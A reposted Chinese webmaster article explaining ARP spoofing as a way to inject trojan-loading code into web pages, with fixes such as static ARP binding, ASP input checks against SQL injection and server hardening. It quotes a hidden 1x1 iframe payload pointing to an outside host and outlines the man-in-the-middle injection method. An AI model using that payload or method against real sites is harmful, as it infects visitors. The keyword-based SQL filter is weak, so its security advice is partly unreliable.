網站被掛馬的真正原因及掛馬原理分析


什么是ARP

   地址解析協議(Address Resolution Protocol,ARP)是在僅知道主機的IP地址時確定其物理地址的一種協議。因IPv4和以太網的廣泛應用,其主要用作將IP地址翻譯為以太網的MAC地址,但其也能在ATM和FDDIIP網絡中使用。從IP地址到物理地址的映射有兩種方式:表格方式和非表格方式。ARP具體說來就是將網絡層(IP層,也就是相當於OSI的第三層)地址解析為數據連接層(MAC層,也就是相當於OSI的第二層)的MAC地址。

   假設:
   計算機A的IP為192.168.1.1,MAC地址為00-11-22-33-44-01;
   計算機B的IP為192.168.1.2,MAC地址為00-11-22-33-44-02;

   ARP工作原理如下:

   在TCP/IP協議中,A給B發送IP包,在包頭中需要填寫B的IP為目標地址,但這個IP包在以太網上傳輸的時候,還需要進行一次以太包的封裝,在這個以太包中,目標地址就是B的MAC地址.

   計算機A是如何得知B的MAC地址的呢?解決問題的關鍵就在於ARP協議。

   在A不知道B的MAC地址的情況下,A就廣播一個ARP請求包,請求包中填有B的IP(192.168.1.2),以太網中的所有計算機都會接收這個請求,而正常的情況下只有B會給出ARP應答包,包中就填充上了B的MAC地址,並回復給A。

   A得到ARP應答后,將B的MAC地址放入本機緩存,便於下次使用。

   本機MAC緩存是有生存期的,生存期結束后,將再次重復上面的過程。

   ARP協議並不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,當局域網中的某台機器B向A發送一個自己偽造的ARP應答,而如果這個應答是B冒充C偽造來的,即IP地址為C的IP,而MAC地址是偽造的,則當A接收到B偽造的ARP應答后,就會更新本地的ARP緩存,這樣在A看來C的IP地址沒有變,而它的MAC地址已經不是原來那個了。由於局域網的網絡流通不是根據IP地址進行,而是按照MAC地址進行傳輸。所以,那個偽造出來的MAC地址在A上被改變成一個不存在的MAC地址,這樣就會造成網絡不通,導致A不能Ping通C!這就是一個簡單的ARP欺騙。

   應用

   在網絡執法官中,要想限制某台機器上網,只要點擊"網卡"菜單中的"權限",選擇指定的網卡號或在用戶列表中點擊該網卡所在行,從右鍵菜單中選擇"權限",在彈出的對話框中即可限制該用戶的權限。對於未登記網卡,可以這樣限定其上線:只要設定好所有已知用戶(登記)后,將網卡的默認權限改為禁止上線即可阻止所有未知的網卡上線。使用這兩個功能就可限制用戶上網。其原理是通過ARP欺騙發給被攻擊的電腦一個假的網關IP地址對應的MAC,使其找不到網關真正的MAC地址,這樣就可以禁止其上網。

   防御
   ARP欺騙可以導致目標計算機與網關通信失敗

   更可怕的是會導致通信重定向,所有的數據都會通過攻擊者的機器,因此存在極大的安全隱患。

   基與PC到PC的IP-MAC雙向綁定可以解決ARP欺騙

   但是對於不支持IP-MAC雙向綁定的設備

   就需要用可以綁定端口-MAC的交換來預防ARP欺騙

   另外,Windows 2KSP4 XPSP1 的Arp-S綁定是無效的

   需要升級到 2KSP5 或 XPSP2


   網頁掛馬原理

   不管是訪問服務器上的任何網頁,就連404的頁面也會在<html>后加入:

   <IFRAME SRC=http://www.aaaa.com/a.htm width =1 height=1 frameborder=0></IFRAME>;,掛馬的位置在html標記左右,上面這段惡意代碼,它會每隔幾秒加入代碼,也就是說在輸出具體的東西之前就被掛了,有時有有時又沒有,不是網頁源代碼問題,也沒有在網頁源代碼中加入惡意代碼,即使重裝服務器,格式化重分區過第一個硬盤,放上去網站沒多久一樣再會出現這種情況.

   首先就排除了網站被入侵的可能,因為首頁能加在那個位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的設置也沒有任何的異常,而且這個插入的代碼有的時候出現有的時候不出現,說明不是網站的問題了.打開同服務器的其他網站也有這個情況發生,而且狀況一一樣.檢查並且搜索掛馬的關鍵字之后確定不是網站程序的問題.

   那么剩下的要么是IIS自己出了問題,要么是網絡的問題,因為數據是處理沒有問題(這個由程序輸出,而且即使是html都會出問題),經過一個一個排查,最后基本可以確定就是arp欺騙欺騙數據報走向,然后中間人修改一些定義的關鍵字.因為是網絡層次有問題(所以重做系統是沒有用的).

   目的:通過arp欺騙來直接掛馬

   優點:可以直接通過arp欺騙來掛馬.

   通常的arp欺騙的攻擊方式是在同一vlan下,控制一台主機來監聽密碼,或者結合ssh中間人攻擊來監聽ssh1的密碼
但這樣存在局限性:1.管理員經常不登陸,那么要很久才能監聽到密碼
2.目標主機只開放了80端口,和一個管理端口,且80上只有靜態頁面,那么很難利用.而管理端口,如果是3389終端,或者是ssh2,那么非常難監聽到密碼.

   優點:1.可以不用獲得目標主機的權限就可以直接在上面掛馬
2.非常隱蔽,不改動任何目標主機的頁面或者是配置,在網絡傳輸的過程中間直接插入掛馬的語句.
3.可以最大化的利用arp欺騙,從而只要獲取一台同一vlan下主機的控制權,就可以最大化戰果.

   原理:arp中間人攻擊,實際上相當於做了一次代理。

   正常時候: A---->B ,A是訪問的正常客戶,B是要攻擊的服務器,C是被我們控制的主機
arp中間人攻擊時候: A---->C---->B         B---->C---->A

   實際上,C在這里做了一次代理的作用

   那么HTTP請求發過來的時候,C判斷下是哪個客戶端發過來的包,轉發給B,然后B返回HTTP響應的時候,在HTTP響應包中,插入一段掛馬的代碼,比如 <iframe>...之類,再將修改過的包返回的正常的客戶A,就起到了一個掛馬的作用.在這個過程中,B是沒有任何感覺的,直接攻擊的是正常的客戶A,如果A是管理員或者是目標單位,就直接掛上馬了.

   防御專題

   最簡單的辦法就一命令OK,實現與網關綁定,比如網關是 192.168.0.1 比如網關MAC 00-00-00-00-00,好了我們直接用記事本保存代碼為 arp -s 192.168.0.1 00-00-00-00-00 然后保存,改拓展名為bat 加入到服務器啟動項,目前ARP攻擊猖獗,ARP的目前為一的完美解決方案就是實現 本機與網關的雙向綁定。所謂ARP防火牆,只是起到暫時保護的作用,以上方法可以有效的防止服務器被人ARP掛馬

   SQL漏洞專題

   簡單一點:

   對於int型的參數,如文章的id等,可以先判斷是不是整數。

id =trim(request("id"))
if id<>"" then
if Not isNumeric(id) then
response.write"請提供數字型參數"
response.end
end if
id = clng(id)
else
response.write"請輸入參數id"
response.end
end if

   這樣的話,明小子系列就無法注入了。

   也可以控制 "'"號輸入就行了,再控制一些 SQL 關鍵字的這樣更安全

   比如

id=trim(request("id"))

if instr(id,"'")>0 or instr(id,"insert")>0 then
response.write "對不起,請不要注入本站"
response.end
end if

   提醒大家,SQL只要打完必補丁,最重要的是,千萬別設置什么SA/123456 SA/123 SA/SA之類的弱口令,現在的小黑太多了,動不動就是全網段掃描1433弱口令,在次提醒大家,千萬別設置弱口令。基本服務器就安全(小黑是進不來的,高手嘛,說不准了,反正高手也不會動你的東西)

   服務器安全之后門篇

   我們今天主要講解2003服務器

   最常見的問題,服務器一般都開3389 4899等,在次提醒大家,弱口令問題,現在什么小黑都有,千萬別設置什么123 123456之類,修改3389 4899端口 建議停止微軟的防火牆,直接在網上,開放需要的端口。系統補丁,我想不用說,肯定要打的。也可采用國外的一款軟件 黑冰(號稱世界排第三,本人以前用過,感覺也就那樣,不過確實不錯)

   本地安全策略設置密碼強度,然后刪出系統默認管理員,修改管理組,別留什么adminisrators 呵呵,不允許建立帳戶,嘿嘿,絕吧。
服務器殺毒軟件必備!推薦使用麥咖啡。上次進了一批服務器,發現全是用麥咖啡(連聯眾的計費服務器,baidu的有一個服務器也是),設置OK基本百毒不侵(服務器好的建議使用,呵呵就可以防止什么鴿子啊,黑洞啊,紅娘啊之類的東西裝上了)。
在次說明請大家檢查自己的服務器登陸3389界面,別輸入密碼,先按5次SHIFT,看看,如果彈出c盤,或cmd 或則一個密碼窗口,呵呵恭喜你,你的服務器被人玩了,小弟可幫大家解決,這個后門被譽為windows最強悍后門。不需要密碼驗證,直接得到shell。
為了廣大站長朋友,此文章無任何技術難度


注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
粤ICP备14056181号  © 2014-2021 ITdaan.com